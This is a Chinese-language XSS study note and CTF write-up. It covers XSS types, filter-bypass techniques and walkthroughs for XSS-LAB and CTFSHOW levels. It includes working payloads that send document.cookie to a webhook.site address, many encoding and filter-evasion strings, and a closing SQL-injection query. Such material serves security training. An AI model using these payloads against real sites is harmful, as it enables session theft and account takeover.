XSS入门
XSS入门
学习
推荐文章:对于XSS跨站脚本攻击的学习 - 先知社区 (aliyun.com)
概述
概念
1 | 跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。 |
攻击原理
1 | XSS跨站脚本攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。 |
XSS分类
储存型XSS
将代码传输到后端进而到数据库进行储存,再特定情况下实现代码功能。
示例:
1 | <form> |
反射型XSS
非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
一般就是题目给一个
<input>
标签形成的输入框,然后我们在输入框里输入我们的恶意脚本,需要用户进行触发才能进行攻击,在前端输入恶意脚本,后端接受,然后再在前端显示,这也就是反射型XSS的数据流通。
示例:
1 | <form> |
DOM型XSS
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
这种XSS攻击是不经过后端的,它也算是一种反射型XSS,但是它的数据流通过程比较简单,就是在前端url添加我们的恶意脚本,然后直接在页面输出了
1 | <script> |
JSONP XSS
参考文章:jsonp安全攻防技术(JSON劫持、XSS漏洞)_xss漏洞 json-CSDN博客
XSS攻击点(插入点)
插入到HTML注释内容中
没见过,见过再补。
插入到HTML标签属性值中
示例:<img src=‘img.png’ onerror=“<script>alert(1)</script>”>
附:onerror属性值并不是简单的出现在网页上,而是会经过HTML和JavaScript语法。事实上,onerror是JavaScript的属性。
插入到HTML标签属性名中
没见过,见过再补。
插入到HTML标签名中
没见过,见过再补。
插入到CSS中
示例:
1 | <div style="background-image:url('javascript:alert(`Evi1s7`)');"> |
插入到HTTP响应中
没见过,见过再补。
XSS绕过
关键词绕过
大小写绕过
示例(原理是第一点):
1 |
|
以下是一些可能导致大小写绕过的情况和原理:
- 标签和属性名不区分大小写:
- 在HTML中,标签名和属性名是不区分大小写的。例如,
<script>
和<SCRIPT>
是等效的。攻击者可能会尝试使用不同大小写的标签和属性名,以绕过一些基于规则的过滤器。- JavaScript事件处理属性不区分大小写:
- 在HTML中,JavaScript事件处理属性(如
onclick
、onmouseover
等)也是不区分大小写的。攻击者可以尝试使用大小写变体来绕过一些检测。- HTML实体编码绕过:
- 攻击者有时会使用HTML实体编码来混淆代码,以尝试绕过安全过滤。大小写变体可能会用于混淆这些实体编码,使其更难以识别。
- 混合大小写的JavaScript:
- 在JavaScript中,变量和函数名是区分大小写的,但攻击者可能尝试使用混合大小写的形式,使其更难以检测。
拼接绕过
eval()函数
函数解析
在 JavaScript 中,eval()
函数用于执行传递给它的字符串中的 JavaScript 代码。
语法:eval(codeString)
示例:
var x = 10;
var y = 20;
var codeString = "x + y";
var result = eval(codeString);
console.log(result); // 输出 30
把eval的参数字符串当成运行代码即可
绕过示例
1 | <img src="x" onerror="eval('al'+'ert(Evi1s7)')"> |
window
1 | <img src="x" onerror="window['al'+'ert'](1)"> |
这段代码中
window['alert'](1)
是使用 JavaScript 中的数组标记法(Array Bracket Notation)来调用window
对象的alert
方法。在 JavaScript 中,
window
是全局对象,而alert
是window
对象的一个方法,用于在浏览器中显示一个警告框,通常用于向用户显示一条消息。在这里,
window['alert'](1)
实际上等同于window.alert(1)
。这行代码的作用是在浏览器中弹出一个警告框,显示数字 1。然而,需要注意的是,这样的代码常常被用于恶意目的,尤其是在尝试进行跨站脚本(XSS)攻击时,因此在实际开发中应该小心处理用户输入,以防止安全漏洞。
其它与之类似的还有top,frame,window,self,parent等等。
1 | <img src="x" onerror="top['al'+'ert'](Evi1s7)"> |
1 | <img src="x" onerror="self[`al`+`ert`](1)"> |
1 | <img src="x" onerror="parent[`al`+`ert`](1)"> |
1 | <img src="x" onerror="frames[`al`+`ert`](1)"> |
函数替换
当一些函数被禁用时,可以替换为其他函数
1 | <img src="x" onerror="eval(alert(1))"> |
嵌套绕过(双写绕过)
1 | <sc<script>ript>alert('Evi1s7')</sc</script>ript> |
没啥说的
赋值绕过
这个有点意思,用变量代替字符串,看例子:
1 | <img src onerror=_=alert,_(1)> |
编码绕过
HTML实体编码和Unicode编码
原理:
1.JavaScript引擎会将DOM文档的实体编码解码为原始字符,所以有些字符可以用实体编码代替
2.在正常情况下,JavaScript 引擎会正确解释和执行 Unicode 编码的字符。例如,下面的 JavaScript 代码将正确输出 “你好”:
1 | javascriptCopy code |
url编码绕过
示例:<a href=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</a>
原理:在 JavaScript 伪协议中,当使用 javascript:
开头的 URL,并且其中包含编码后的 JavaScript 代码时,浏览器在执行这个 URL 时,会先解码其中的百分号编码,然后再执行解码后的 JavaScript 代码。
附:src和href的运用
src:
<script>
标签
src
属性用于指定引入外部JavaScript文件的URL
<img>
标签
src
属性用于指定要显示的图像的URL
<frame>
标签
src
属性用于指定要嵌入的另一个文档的URL。
<audio>
和<video>
标签
src
属性用于指定要播放的音频或视频的URL
href:
<a>
标签
href
属性用于指定链接目标的URL。
<href>
标签
href
属性用于指定外部样式表的URL。
<base>
标签
href
属性用于指定基准URL,所有相对URL都将以该URL为基础。
<area>
标签
href
属性用于指定图像地图中区域的URL。
空格绕过
在html的标签中的不同位置的空格绕过方式不是一样的
1 <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>A位置: /,/123/,%09,%0A,%0C,%0D,%20, /**/
B位置:%09,%0A,%0C,%0D,%20
C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)
D位置:%09,%0A,%0C,%0D,%20,//,>
小括号()绕过
利用反引号``
示例:
1 | <script>alert`1`</script> |
throw
1 | <script>alert;throw 1</script> |
单引号过滤
斜杠替换
1 | <script>alert(/Evi1s7/)</script> |
反引号替换
1 | <script>alert(`Evi1s7`)</script> |
alert过滤
用其他函数替换
prompt()
1 <script>prompt('Evi1s7')</script>confirm()
1 <script>confirm('Evi1s7')</script>console.log()
1 <script>console.log('Evi1s7')</script>document.write()
1 <script>document.write('Evi1s7')</script>
还可以利用编码绕过,JavaScript引擎会自动解码。
分号绕过
当只过滤了分号时,可以利用花括号进行语句隔离
1 | <script>{onerror=alert}throw 1</script> |
长度限制
可以利用拆分法
1
2
3
4
5 <script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>Evi1s7</a>")'</script>
<script>eval(a)</script>利用eval()函数将字符串解析为可执行的代码,从而进行拼接
1 document.write("<a href=http://VPS-IP:port>Evi1s7</a>")闯关
XSS_LAB闯关
Less-1
source:echo "<h2 align=center>欢迎用户".$str."</h2>";
语句:
<img src="" onerror=alert(233)>
<input onclick=alert(233)>
<sccript>alert(1)</script>
须知:第二种注入以后刚开始可能会报错,再点一下输入框即可。
Less-2
source:
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword value="'.$str.'">
显然第一行的不可以,看看第二行。
语句:
"> <script>alert(1)</script>//
" onclick=alert(1)>//
Less-3
source:
<input name=keyword value='".htmlspecialchars($str)."'>
须知:
使用htmlspecialchars()函数对输入进行了处理,该函数会将双引号、小于号、大于号、&符号转换为对应的HTML实体编码,但默认情况下并不会对单引号进行编码
语句:
' onclick=alert(1)//
附:因为htmlspecialchars()函数,所以用不了闭合插入法(哈哈,自己编的)。
Less-4
source:
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
由上可知大小于号又没了,只能用属性法了(没错,又是我自己编的)。
语句:
" onclick=alert(1)//
Less-5
source:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
全部小写,再来两个替换。
语句:
"><a href=javascript:alert(1)>hi</a>//
须知:
JavaScript伪协议:
伪协议不同于因特网上所真实存在的协议,而是为关联应用程序而使用的。
格式:javascript:······,通常在最后面加一句:void 0;
如果有多个语句需要用逗号分隔。
Less-6
source:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
限制很多·······,不过没有大小写转换,而HTML对大小写不敏感。
语句:
"><a HREF=javascript:alert(1)>hi</a>//
Less-7
source:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
大小于号不过滤都好写。
语句:
"><sscriptcript>alert(1)</sscriptcript>//
" oonnclick=alert(1)>//
"><a hhrefref=javasscriptcript:alert(1)>hi</a>//
Less-8
source:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
须知:
在表单输入框里输入的数据会在url框里进行一次编码
url框里显示的数据中的汉字实际上在传输时会被url编码
语句:javascr%09ipt:alert(1)
须知:须在url框里,因为表单输入框会进行一次url编码,结果没有是空格的。其实在表单输入框里原样输入即可,但是空格输入后会变成加号。
分析:按照常理应该在input里搞事情,但是htmlspecialchars()函数阻止了该操作,但是可以在echo里操作。另外,虽然在代码中有水平制表符,但是不会影响,代码会忽略它。
Less-9
须知:
在 HTML 中,无论字符串是否被单引号或双引号包裹,
javascript:
伪协议依然会被浏览器解释并执行。引号的使用主要是用于区分 HTML 属性的开始和结束,而不会影响到伪协议的执行。
source:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<?php
if(false===strpos($str7,'http://')){
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}else{
echo '<center><BR<a href="'.$str7.'">友情链接</a></center>';}?>
语句:
javascr%09ipt:alert(1)//http://
javasc%09ript:alert('http://');
Less-10
source:
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.$str33.'" type="hidden">
语句:
t_sort=" type="text" onclick=alert(1) id="
须知:相同属性值,前面那一个生效。
Less-11 Less-12 Less-13
source:
$str11=$_SERVER['HTTP_REFERER'];
//Less-12是UA,Less-13是Cookie
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ref" value="'.$str33.'" type="hidden">
注入到请求头里面。
语句:
" type='text' onclick=alert(1) id="
Less-14
Less-14涉及exif xss
由于网站原因,不写这题
Less-15
本题涉及ng-include包含
source:
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
语句:
src='level1.php?name=<img src=x onerror=alert(1)>'
echo '<body><span class="ng-include:''level1.php?name=<img src=x onerror=alert(1)>''"></span></body>';
这段代码可以,但我不懂为什么两个单引号不报错
Less-16
source:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
大小写绕过失效,script、/、空格等都被转换成 ,可以尝试使用%0a代替空格来进行绕过
语句:
<img%0asrc=1%0aonerror=alert(1)>
Less-17 Less-18
source:
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
语句:
?arg01=a&arg02=b onmouseover=alert(1)
原理不懂,引用:
<embed>
:HTML 标签,用于嵌入外部资源,如 Flash 文件。src=xsf02.swf?"a"="b onmouseover=alert(1)"
:这部分构建了 SWF 文件的 URL。在这里,a
被赋值为b onmouseover=alert(1)
。这可能导致在页面上嵌入的 Flash 文件中触发一个 JavaScript 弹窗,即执行了alert(1)
。width=100% height=100%
:指定嵌入的 SWF 文件的宽度和高度为 100%。
CTFSHOW WEB入门 XSS闯关
316
尝试<script>alert(1)</script>
,正常弹窗,没有过滤
payload:
<script>window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)</script>
317 318 319
317过滤了script,318过滤了img
方法1:失败
<img src=1 onerror=alert(1)>
成功
payload:
< img src=1 onload="window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)">
但是这得到的是本地cookie
方法2:成功
<body onload=alert(1)></body>
成功
payload:
<body onload="window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)"></body>
须知:onload可以执行JavaScript代码,当script被过滤后可以尝试使用它。
320–326
空格过滤了,用/**/
payload:
<body/**/onload="window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?cookie='+document.cookie)"></body>
327
一直网络拥堵,唉。
328
先得到admin的cookie:将用户名或者密码进行xss注入,payload:
可以在网站上得到admin的cookie,在控制台的application里改cookie,然后刷新即可。
329
payload:
<body/**/onload=window.open('https://webhook.site/ac69b076-197f-4cd9-8ff4-8e7554f4be69/?a='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1'))></body>
330
' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4